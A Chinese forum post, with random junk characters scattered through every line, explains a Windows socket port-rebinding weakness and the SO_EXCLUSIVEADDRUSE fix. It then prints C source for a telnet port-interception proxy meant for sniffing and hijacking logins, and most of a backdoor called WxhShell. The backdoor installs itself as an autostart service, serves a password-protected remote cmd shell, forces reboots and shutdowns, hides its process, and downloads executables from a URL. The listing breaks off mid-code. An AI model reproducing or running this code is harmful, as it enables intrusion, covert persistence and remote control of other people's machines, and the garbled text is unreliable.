在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@$'k1f(u> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5]cmDk p]=a:kd4J saddr.sin_family = AF_INET;
,Zs:e. GKdQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
OI;0dS yQb^]|XG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#
JHicx\8l zOA{S~> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nWpqAb WCxt-+# 这意味着什么?意味着可以进行如下的攻击:
oLVy?M%{P H%NP4pK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~M`-sSjZs 1<a+91*=e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8_0j^oh wN/d
J 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
CuRYtY@9 r@L19d)J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Q?Vq/3K; KK"uSC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jSVIO v: ]S+NH[g+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
> ?s[g)np D?~`L[}I!} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
82#7TX4 6jjmrc[#}X #include
>#).3 #include
'&@'V5}C{ #include
{J3;4p-& #include
GkqKIs DWORD WINAPI ClientThread(LPVOID lpParam);
5]yQMY\2) int main()
v^2q\A-? {
3]DUUXg$ WORD wVersionRequested;
Wr"-~PP DWORD ret;
X3zkUMk WSADATA wsaData;
''P.~~ezr5 BOOL val;
&Ji!*~sE SOCKADDR_IN saddr;
b:Oa4vBa SOCKADDR_IN scaddr;
8'J"+TsOW int err;
F?Cx"JYix SOCKET s;
_r+2o-ZR SOCKET sc;
igFz~ int caddsize;
+[C(hhk(" HANDLE mt;
&rs+x< DWORD tid;
s0,c4y wVersionRequested = MAKEWORD( 2, 2 );
rvjPm5[t err = WSAStartup( wVersionRequested, &wsaData );
9^ITP!~e* if ( err != 0 ) {
t-_~jZ< printf("error!WSAStartup failed!\n");
0~{jgN~ return -1;
"IbXKS>t }
cp.c$ saddr.sin_family = AF_INET;
iev02 8M \k\ {S2SU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
GZ.Xx =\]5C saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
A*tG[) saddr.sin_port = htons(23);
"H I&dC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tA'O66. {
kj_o I5<' printf("error!socket failed!\n");
=`fJ return -1;
-_&"Q4FR;+ }
>t_5(K4 val = TRUE;
5etbJk //SO_REUSEADDR选项就是可以实现端口重绑定的
#(6^1S%
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
e=$p( {
x=(y printf("error!setsockopt failed!\n");
AA[(rw return -1;
gZbC[L }
apsR26\^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I6?n> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
LbX>@2(& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R7%'
vZk 7=yV8.cD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Zd$a}~4~ {
,h1
z8.wD| ret=GetLastError();
*@6,Sr)_ printf("error!bind failed!\n");
)/VhkSXbG! return -1;
fLM5L_S}Y }
:u$nH9kwv listen(s,2);
)EQWc0iKG while(1)
S8-3Nv' {
vsc)EM ] caddsize = sizeof(scaddr);
aH7i$U& //接受连接请求
[JI>e;l
C: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1b*Me' if(sc!=INVALID_SOCKET)
+u+|9@ {
l* C> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i\E}!Rwl+ if(mt==NULL)
z7B>7}i- {
g\]2?vY. printf("Thread Creat Failed!\n");
;MH((M/AN break;
B!: %^S }
yV`H_iC }
{')L* CloseHandle(mt);
Q+L;k
R }
"9W]TG closesocket(s);
V`*N2ztSL WSACleanup();
AAbI+L0m{ return 0;
(`C#Tq }
9t)A_}O DWORD WINAPI ClientThread(LPVOID lpParam)
BPgY_f {
2d1Z;@x SOCKET ss = (SOCKET)lpParam;
b
EB3#uc SOCKET sc;
6&jW.G8/ unsigned char buf[4096];
y.h2hv]Bc SOCKADDR_IN saddr;
FDfLPCQm long num;
6/u]r DWORD val;
RsTz3]`yv DWORD ret;
9g%1^$R //如果是隐藏端口应用的话,可以在此处加一些判断
]Rah,4?9f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
bYsK|n saddr.sin_family = AF_INET;
gumT"x .^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3$<u3Zi6 saddr.sin_port = htons(23);
UZJ^e$N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L'1!vu *Rg {
SZVNu*G!H printf("error!socket failed!\n");
yjcZTvjJ return -1;
wm1`<r^M. }
*`D}voU val = 100;
pxf(C<y6_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bi}uL)~rD {
M8_f{|!& ret = GetLastError();
^qB
a~
return -1;
QT\||0V~p }
Ag[Zs%X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$7J9Yzp?L {
2HA-q),6 ret = GetLastError();
uJxT)m!/ return -1;
dJYsn+ }
<Wd#HKIG>l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h2k"iO} {
gX29c printf("error!socket connect failed!\n");
S($8_u$U closesocket(sc);
Oy(fh%k# closesocket(ss);
<Zb~tYp return -1;
eyM<#3\\S }
/x2-$a:< while(1)
=&%}p[
3g {
V47z;oMXct //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
TH[xSg //如果是嗅探内容的话,可以再此处进行内容分析和记录
AW{"9f4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"2l$}G num = recv(ss,buf,4096,0);
"Zh3, if(num>0)
P8&BtA send(sc,buf,num,0);
`kE ;V!n? else if(num==0)
RA];hQI? break;
o]R*6$ num = recv(sc,buf,4096,0);
KM-d8^\: if(num>0)
1>~bzXY# send(ss,buf,num,0);
-hd@<+;E else if(num==0)
#BLx +mLq break;
pL [JGn }
(
* &E~g closesocket(ss);
RpmOg
closesocket(sc);
Py@/\V return 0 ;
X}V}% }
gWK[%.Jnw 0|i3#G_~ pY~/<lzW ==========================================================
4D'AAr57 WilKC|R]P 下边附上一个代码,,WXhSHELL
Zk:Kux[7 ?Yf0h_> ==========================================================
mJU1n
-v@LJCK7I #include "stdafx.h"
]z77hcjB1 *\$m1g7b #include <stdio.h>
_O,k0O
#include <string.h>
Q[n*ce7L0 #include <windows.h>
}Fq~!D
Ee #include <winsock2.h>
W1;QPdz: #include <winsvc.h>
Xp67l!{v #include <urlmon.h>
5^5hhm4 \rpXG9 #pragma comment (lib, "Ws2_32.lib")
rv?4S`Z,x$ #pragma comment (lib, "urlmon.lib")
3<
'bi}{ 1m~-q4D)V #define MAX_USER 100 // 最大客户端连接数
`=Z3X(Kc #define BUF_SOCK 200 // sock buffer
BjSd\Ul #define KEY_BUFF 255 // 输入 buffer
{D$5M/$ |tr^
`Z #define REBOOT 0 // 重启
;:PxWm|_ #define SHUTDOWN 1 // 关机
zG*
>g N^Hj%5 #define DEF_PORT 5000 // 监听端口
PDgd'y '.B5CQ #define REG_LEN 16 // 注册表键长度
fxQ4kiI #define SVC_LEN 80 // NT服务名长度
xqQLri} -HU4Ow // 从dll定义API
H`bS::JI- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
iSP}kM} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#3knKBH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
le|Rhs%Z% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+\R__tx; p![UO I"W // wxhshell配置信息
|[_%zV;p>v struct WSCFG {
#E$*PAB int ws_port; // 监听端口
]x(cX&S-9 char ws_passstr[REG_LEN]; // 口令
/lS5B6NU int ws_autoins; // 安装标记, 1=yes 0=no
@ogj -ol& char ws_regname[REG_LEN]; // 注册表键名
}&LVD$Bz char ws_svcname[REG_LEN]; // 服务名
R>D [I. char ws_svcdisp[SVC_LEN]; // 服务显示名
*'cyFu$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
jwL\|B oE char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fW
w+'xF! int ws_downexe; // 下载执行标记, 1=yes 0=no
l`<1Y| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^)p+)5l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
yz<$?Gblz =5;tB };
5AbY 59 XiMd|D // default Wxhshell configuration
Q?2GwN struct WSCFG wscfg={DEF_PORT,
Nu;?})tF "xuhuanlingzhe",
HcQ)XJPK 1,
7G+E+A5o& "Wxhshell",
K>vi9,4/ks "Wxhshell",
$%6.lQ "WxhShell Service",
#LR.1zZ "Wrsky Windows CmdShell Service",
XI+GWNAmJ "Please Input Your Password: ",
Y#t9DhzFWo 1,
c6T[2Ig "
http://www.wrsky.com/wxhshell.exe",
7n)ob![\d "Wxhshell.exe"
w `nm}4M };
qi*Dd[OG &n'@L9v81 // 消息定义模块
Cq -URih char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wq7h8Z}l char *msg_ws_prompt="\n\r? for help\n\r#>";
V!Pe%.> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@u@,Edh char *msg_ws_ext="\n\rExit.";
,4j^lgJ char *msg_ws_end="\n\rQuit.";
E?0Vo%Vh char *msg_ws_boot="\n\rReboot...";
O2:1aG char *msg_ws_poff="\n\rShutdown...";
H+
7HD|GE char *msg_ws_down="\n\rSave to ";
tIT/HG_o y8ODoXk char *msg_ws_err="\n\rErr!";
,R\e x =c char *msg_ws_ok="\n\rOK!";
N*f]NCSi ^4Uk'T7V char ExeFile[MAX_PATH];
jcp6-XM int nUser = 0;
2f0mr?l)N HANDLE handles[MAX_USER];
=pBr_pGz= int OsIsNt;
9tWpxrig% j+PLtE SERVICE_STATUS serviceStatus;
PA*1]i#2M= SERVICE_STATUS_HANDLE hServiceStatusHandle;
T/PmT:Qg` |'``pq/}_ // 函数声明
:*ZijN*{)$ int Install(void);
VHi'~B#'* int Uninstall(void);
<@$+uZt+ int DownloadFile(char *sURL, SOCKET wsh);
S.Q:O{] int Boot(int flag);
Q?bCQZ{-Lh void HideProc(void);
. H}R}^ int GetOsVer(void);
1QPz|3f@\ int Wxhshell(SOCKET wsl);
=$y;0]7Lwi void TalkWithClient(void *cs);
H)h$@14xu int CmdShell(SOCKET sock);
dT{GB!jz int StartFromService(void);
1k]L ,CX int StartWxhshell(LPSTR lpCmdLine);
C/4r3A/u }}Zg/( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
vq+4so
)/S VOID WINAPI NTServiceHandler( DWORD fdwControl );
PXG@]$~3 bcUSjG> // 数据结构和表定义
EbeSl+iMx_ SERVICE_TABLE_ENTRY DispatchTable[] =
DX^8w?t {
Xf[;^?]X {wscfg.ws_svcname, NTServiceMain},
nsM.`s@V {NULL, NULL}
%d%FI"!K };
*'*,mfk[ ?OPuv5!pI // 自我安装
|~@yXc5a int Install(void)
P!SsMo6n {
V,%K"b= char svExeFile[MAX_PATH];
vJ{F)0 K HKEY key;
F1S0C>N?5 strcpy(svExeFile,ExeFile);
v
8EI Nt;1&dwUb // 如果是win9x系统,修改注册表设为自启动
(f2r4Io|} if(!OsIsNt) {
/#z"c]# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9C8 G(r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
di(H-=9G62 RegCloseKey(key);
r0@s3/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xSqr=^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,rjl|F*
T RegCloseKey(key);
2*< PmKI return 0;
dV{mmHL }
H&
$M/` }
njaKU?6%d2 }
*+k
yuY J else {
OrF.wcg jZQ{XMF // 如果是NT以上系统,安装为系统服务
P'o]#Az SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CED[\n if (schSCManager!=0)
1>/ iYf {
v$xurj:v#i SC_HANDLE schService = CreateService
=4sx(< (
/x)i}M) schSCManager,
Yhz Dw8f wscfg.ws_svcname,
iUFG!,+d wscfg.ws_svcdisp,
d+vAm3.Dg SERVICE_ALL_ACCESS,
xSm~V3bc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&JYkh > SERVICE_AUTO_START,
/6F\]JwU SERVICE_ERROR_NORMAL,
7[mP@ { svExeFile,
/bn$@Cy@ NULL,
^G 'n
z NULL,
*8+HQ[[# NULL,
Q{5.;{/eC NULL,
RUq[HxF)
6 NULL
H )>3c1 );
lWH#/5`h if (schService!=0)
_#Lq~02 % {
N]14~r= CloseServiceHandle(schService);
ZNl1e' CloseServiceHandle(schSCManager);
+*Fe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D>^g2!b: strcat(svExeFile,wscfg.ws_svcname);
lD->1=z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
H!6+x*P0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
(sI`FW_ RegCloseKey(key);
hT,rcIkg: return 0;
yJ`{\7Uqg }
y>:U&P^ }
`A5n6*A7 CloseServiceHandle(schSCManager);
cs_ }
M6 8foeeN }
7<=p* +J~%z*A return 1;
MIyT9",Pl }
,6#%+u}f WJ)4rQ$o // 自我卸载
]NtBP int Uninstall(void)
'r(g5H1}gi {
c<lEFk!g HKEY key;
_mk@1ft 6tjV^sjs if(!OsIsNt) {
}#;.b'` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
miTff[hsMa RegDeleteValue(key,wscfg.ws_regname);
I;1)a4Xc4R RegCloseKey(key);
2ga8 G4dU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_>aP5g?Ep RegDeleteValue(key,wscfg.ws_regname);
~{);Ab.9+ RegCloseKey(key);
-E3cS return 0;
lWd@ }
,jtaTG.> }
+Wgfxk'{ }
>)u{%@Rcy{ else {
8^D1u` 717G
CL@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_yX.Apv] if (schSCManager!=0)
fP6. {
OSLZ7B^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
FV3[7w=D\ if (schService!=0)
:>o0zG[;f {
7
, _b if(DeleteService(schService)!=0) {
>]%$lSCW\D CloseServiceHandle(schService);
)FmIL(vu CloseServiceHandle(schSCManager);
@H3x51PT(m return 0;
kwqY~@W }
ADVS}d!;] CloseServiceHandle(schService);
k4!_(X%8 }
yGSZ;BDW:K CloseServiceHandle(schSCManager);
VXlAK( }
lzz;L
z }
)v11j.D ms!|a_H7r return 1;
ywkRH }
qJf\,7mi h{H*k#> // 从指定url下载文件
Owgy<@C int DownloadFile(char *sURL, SOCKET wsh)
w
El- {
CEBG9[| HRESULT hr;
`m8WLj char seps[]= "/";
?E(X>tH char *token;
!f&hVLs0 char *file;
`u7^r^>A char myURL[MAX_PATH];
RHpjJZUV char myFILE[MAX_PATH];
$uJc/ $duT'G, - strcpy(myURL,sURL);
.Pte}pM"v token=strtok(myURL,seps);
6w(r}yO] while(token!=NULL)
En#Q
p3 {
~IWdFUKk file=token;
'ey62-^r6 token=strtok(NULL,seps);
#B6f{D[pI }
#`f{\ ~b!la GetCurrentDirectory(MAX_PATH,myFILE);
tJn"$A^N strcat(myFILE, "\\");
6O.kKhk strcat(myFILE, file);
(9TSH3f? send(wsh,myFILE,strlen(myFILE),0);
Z
h9D^I send(wsh,"...",3,0);
LH=^3Gw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
diVg|Z3T if(hr==S_OK)
H?a $o( return 0;
1E'PSq else
,!GoFu return 1;
2K
o]Q_,~ {&^PDa|nD }
4zt:3bWU 9Li&0E // 系统电源模块
A>e-eD xi int Boot(int flag)
q8-hbWNm4 {
_dz ZS(7M6 HANDLE hToken;
Q-F$Ryj^ TOKEN_PRIVILEGES tkp;
tLN^k;w 3 =c#LUA` if(OsIsNt) {
z$}9f*W}B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zK1]o-wSAT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I1l^0@J tkp.PrivilegeCount = 1;
H?M:<q0|G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tPN CdA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&WL::gy_S if(flag==REBOOT) {
^k$Bx_{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
O6 s3#iu return 0;
b SgbvnJ }
~k?wnw else {
/':64#' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/'E[03I~ return 0;
J~ome7L }
{fHY[8su0 }
NWPT89@ l else {
/{jt]8/;7 if(flag==REBOOT) {
yzT1Zg_ER if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2kDv
(". return 0;
-K(d]-yv }
Yb_HvP else {
D)DD 6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
S@S4<R1{\ return 0;
/\uopa }
'UxI-Lt }
/Z!$bD 5/i/.
0?n return 1;
w0Ex} }
~Dz:n]Vk/ jF
j'6LT9/ // win9x进程隐藏模块
/]j{P4 void HideProc(void)
gPc1oc( {
WQze|b% 2#3`[+g<n HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<H-kR\HF if ( hKernel != NULL )
MMC$c=4" {
ai1;v@1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
S5, u| H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ebNRZJ?C, FreeLibrary(hKernel);
`w`N5 ! }
<nG}]Smd7 DR3om;Uk return;
"v`q%(TA }
mAGD qz>f lo'#dpt< // 获取操作系统版本
Mp!1xx int GetOsVer(void)
0zT-]0 {
Q&w_kz. OSVERSIONINFO winfo;
&~/g[\Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2RF3pIFrm GetVersionEx(&winfo);
[g<gu~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;<''oY return 1;
+/eJ#Xw3u8 else
Y3FFi M[s~ return 0;
T}1" }
3`vKEThY) );TB(PQsBT // 客户端句柄模块
dY0W=,X$7T int Wxhshell(SOCKET wsl)
5pDE!6gQ {
2-N7%]h SOCKET wsh;
mwsBj) struct sockaddr_in client;
a73VDQr I DWORD myID;
.m8l\h^3 KnA BFH while(nUser<MAX_USER)
@ NL<v-t {
2)\MxvfOh int nSize=sizeof(client);
{ pQJ.QI wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.|g@#XIwe# if(wsh==INVALID_SOCKET) return 1;
Mt`LOdiC_ eN
</H.bm] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"eOl(TSu/ if(handles[nUser]==0)
^E\n^D-RV closesocket(wsh);
}vOg9/[{ else
N%Y!{k5T7 nUser++;
xoj,> [7 D }
QGV#AID3XW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
bV2a2#kj :E|Jqi \ return 0;
"nfi:A1 }
,X:3w3nr^ x7^VU5w# // 关闭 socket
517wduj void CloseIt(SOCKET wsh)
2dKt}o> {
^z{Xd|{" closesocket(wsh);
l59
N0G nUser--;
m-tn|m!J ExitThread(0);
qN' 3{jiPL }
7G;1n0m-T rr\u)D#) // 客户端请求句柄
>eo[)Y void TalkWithClient(void *cs)
):Z#!O< {
oMLs22Do? }1[s , SOCKET wsh=(SOCKET)cs;
/U!B2%vq_ char pwd[SVC_LEN];
+aM[!pW(e char cmd[KEY_BUFF];
st)v'ce, char chr[1];
a'Odw2Q_ int i,j;
$8 &Y(` )6X-m9.X while (nUser < MAX_USER) {
WjR2:kT TB&IB:4)R if(wscfg.ws_passstr) {
lDKyD`WKnZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~8(Xn2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;8K>]T) //ZeroMemory(pwd,KEY_BUFF);
'q~<ZO i=0;
40`Qsv0# while(i<SVC_LEN) {
a JjUy% /=AFle2( // 设置超时
LH+Bu%s fd_set FdRead;
RyukQY~<W struct timeval TimeOut;
3]lq#p: FD_ZERO(&FdRead);
RdyKd_0`Q FD_SET(wsh,&FdRead);
0F_hXy@K TimeOut.tv_sec=8;
sKKc_H3YSH TimeOut.tv_usec=0;
fH_l2b[-3@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;r6YIS4@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;~$Q;m1 "x$L2>9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
M[O22wFs pwd
=chr[0]; eAI|zk6
if(chr[0]==0xd || chr[0]==0xa) { N TDmOS\,
pwd=0; _yH">x<
break; 3kUb cm
} ,?qJAV~>
i++; ]}l.*v\uK
} j1->w8
W+=j@JY}q9
// 如果是非法用户,关闭 socket <vV"abk
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a=y%+E'a'
} X@Zt4)2#
eNi#% ?=WB
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tmu2G/yi
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G,P
k3>I'
*\}$,/m['
while(1) { 6|n3Q$p
sGNHA(;
ZeroMemory(cmd,KEY_BUFF); mC\<fo-u
?6ssSjR}
// 自动支持客户端 telnet标准 ;w]1H&mc*A
j=0; 9eP*N(m<
while(j<KEY_BUFF) { EXH,+3fQp
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AB+lM;_>
cmd[j]=chr[0]; >$CNR*}@
if(chr[0]==0xa || chr[0]==0xd) { ~l] w=[
z
cmd[j]=0; {6Nbar@3
break; Ez-AQ'
} ;g+fY6
j++; '-I\G6w9
} tBZ?UAe;
,|?#+O{
// 下载文件 &YD+s%OL
if(strstr(cmd,"http://")) { .=G3wox3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); s[UV(::E
if(DownloadFile(cmd,wsh)) hR2 R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{0*?,-x
else 2sG1Hox
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U+4[w`a}
} fU%Ys9:wU
else { };"_Ku4#-
QZ7W:%r(4
switch(cmd[0]) { Xa;wx3]t
"7Kw]8mRR
// 帮助 &"T7KXx
case '?': { z52F-<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &6Lh>n(
break; ^b$G.h{o!E
} Xm(#O1Vm(l
// 安装 %t1Z!xv_
case 'i': { Yh"9,Z&wiR
if(Install()) ngd4PN>{4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i
Pl/I
else zp'hA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?;5/"/i
break; Nknd8 >Hy+
} Kc1w[EQ
// 卸载 fo/sA9
case 'r': { jY/(kA]}
if(Uninstall()) qQo*:3/];
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yU7XX+cB7
else ND=JpVkvZ?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F &5iA\
break; F/tRyq`D
} Wie0r@5E
// 显示 wxhshell 所在路径 F8tMZ,:
case 'p': { .ty2! .
char svExeFile[MAX_PATH]; gwg~4:W
strcpy(svExeFile,"\n\r"); j1K~zG
strcat(svExeFile,ExeFile); SLN OOEN
send(wsh,svExeFile,strlen(svExeFile),0); ]0%{IgB
break; 3&c'3y:b
} ^:f)XZ
// 重启 }> C?Zx*
case 'b': { LSXsq}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5OOXCtIKf
if(Boot(REBOOT)) ,?%Y*?v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )ytP$,r![S
else { :AuK Q`c
closesocket(wsh); P&Xy6@%[Z
ExitThread(0); lSd tw b
} j 7O!uUQQ
break; fffWvf
} 9M|#X1r{%{
// 关机 VRY@}>W'
case 'd': { f1o^:}5x
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SjJ$Oinc
if(Boot(SHUTDOWN)) *(i%\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<P? F
else { &js$qgY
closesocket(wsh); |6Iw\YU
ExitThread(0); 4{6,Sx
} o?.VW/"
break; XJS^{=/
} n36@&q+B&
// 获取shell tLdQO"
case 's': { NP~3!b
CmdShell(wsh); m<cv3dbZo
closesocket(wsh); Xfg?\j/
ExitThread(0); ^y|`\oyqwN
break; =ty{ugM<
} V!+<
// 退出 fbah~[5}
case 'x': { s6 K~I
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v Oo^H
CloseIt(wsh); P$clSJW
break; ?&U~X)Q
} @fVz
*
// 离开 K3rsew
n
case 'q': { dOgc%(kz
send(wsh,msg_ws_end,strlen(msg_ws_end),0); mwz!7Q
closesocket(wsh); H6$pA^
WSACleanup(); _R
;$tG,
exit(1); '=K~M
break; "Nq5FcS9
} biQ~q$E
} nvodP"iV
} iZ ;562Mo
({C|(v9C7
// 提示信息 iy_3#x5>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <<YH4}wZ
} 4Xv."L
} |oR{c%z05
brF) %x`
return; O#vIn}
} 0? KvR``Aj
YQO9$g0%
~
// shell模块句柄 `<R^ZL,
int CmdShell(SOCKET sock) -b
)~
{ }Q,BI*}*
STARTUPINFO si; scd}{Y
ZeroMemory(&si,sizeof(si)); 3%N!omAe
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N{!@M_C^%R
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A_J!VXq
PROCESS_INFORMATION ProcessInfo; Nlm3RxSn
char cmdline[]="cmd"; }:b) =fs
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c^,8eb7c
return 0; Y#U0g|UDn
} W[73q>'
7Uh/Gl
// 自身启动模式 D;DI8.4`N
int StartFromService(void) h>|IA@;|f
{ P>*`<$FR
typedef struct `DP4u\6_
